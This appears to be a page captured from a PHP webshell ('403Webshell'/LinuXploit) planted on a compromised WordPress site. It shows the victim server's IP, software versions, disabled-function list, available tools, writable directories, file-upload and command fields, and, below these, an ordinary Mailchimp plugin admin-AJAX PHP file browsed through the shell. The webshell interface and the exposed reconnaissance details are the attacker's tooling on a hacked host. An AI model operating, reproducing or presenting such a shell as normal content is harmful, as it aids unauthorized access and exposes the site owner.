403Webshell
Server IP : 89.39.208.18  /  Your IP : 216.73.217.74
Web Server : LiteSpeed
System :
User :  ( )
PHP Version : 7.4.33
Disable Function : eval,./,ln,passthru,dl,system,exec,popen,shell_exec,posix_getpwuid,posix_uname,ftp_exec,posix_uname,posix_getpwuid,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,get_current_user,getmyuid,getmygid,listen,chgrp,apache_note,apache_setenv,apache_child_terminate,closelog,debugger_off,debugge_on,ini_restore,netscript,escapeshellarg,cmd,backtick,virtual,show_sourc,show_source,pclose,pcntl_exec,datasec,old_offset,ctrl_dir,ini_alter,leak,listen,chgrp,apache_setenv,define_syslog_variables,root,diskfreespace,disk_free_space,disk_total_space,posix_kill,getmyuid,getmygid,apache_child_terminate,php_ini_scanned_files,ls,ps_aux,chown,getrusage,posixc,posame,chgrp,posix_setuid,posix_setsid,posix_setgid,apache_note,apache_setenv,x_getuid,e_ini_file,nfo,SQL,mysql_li,t_dbs,filegroup,highlight_file,ilegetcontents,get_dir,popen,popens,pfsockopen,dos_conv,apache_get_modules,crack_check,crack_closedict,rar_open,bzopen,bzread,bzwrite,shellcode,posix_isatty,posix_getservbyname,escapeshellarg,hypot,pg_host,pos,posix_access,inurl,posix_times,posix_mknod,pclose,ps_fill,symlink,id,escapeshellcmd,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home3/mahyarcake/./www/wp-content/plugins/mailchimp-for-wp/includes/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home3/mahyarcake/./www/wp-content/plugins/mailchimp-for-wp/includes/admin/class-admin-ajax.php
<?php

class MC4WP_Admin_Ajax {

	/**
	 * @var MC4WP_Admin_Tools
	 */
	protected $tools;

	/**
	 * MC4WP_Admin_Ajax constructor.
	 *
	 * @param MC4WP_Admin_Tools $tools
	 */
	public function __construct( MC4WP_Admin_Tools $tools ) {
		$this->tools = $tools;
	}

	/**
	 * Hook AJAX actions
	 */
	public function add_hooks() {
		add_action( 'wp_ajax_mc4wp_renew_mailchimp_lists', array( $this, 'refresh_mailchimp_lists' ) );
		add_action( 'wp_ajax_mc4wp_get_list_details', array( $this, 'get_list_details' ) );
	}

	/**
	 * Empty lists cache & fetch lists again.
	 */
	public function refresh_mailchimp_lists() {
		if ( ! $this->tools->is_user_authorized() ) {
			wp_send_json_error();
			return;
		}

		check_ajax_referer( 'mc4wp-ajax' );

		$mailchimp = new MC4WP_MailChimp();
		$success   = $mailchimp->refresh_lists();
		wp_send_json( $success );
	}

	/**
	 * Retrieve details (merge fields and interest categories) for one or multiple lists in Mailchimp
	 * @throws MC4WP_API_Exception
	 */
	public function get_list_details() {
		if ( ! $this->tools->is_user_authorized() ) {
			wp_send_json_error();
			return;
		}

		$list_ids  = (array) explode( ',', $_GET['ids'] );
		$data      = array();
		$mailchimp = new MC4WP_MailChimp();
		foreach ( $list_ids as $list_id ) {
			$data[] = (object) array(
				'id'                  => $list_id,
				'merge_fields'        => $mailchimp->get_list_merge_fields( $list_id ),
				'interest_categories' => $mailchimp->get_list_interest_categories( $list_id ),
				'marketing_permissions' => $mailchimp->get_list_marketing_permissions( $list_id ),
			);
		}

		if ( isset( $_GET['format'] ) && $_GET['format'] === 'html' ) {
			$merge_fields = $data[0]->merge_fields;
			$interest_categories = $data[0]->interest_categories;
			$marketing_permissions = $data[0]->marketing_permissions;
			require MC4WP_PLUGIN_DIR . '/includes/views/parts/lists-overview-details.php';
		} else {
			wp_send_json( $data );
		}
		exit;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit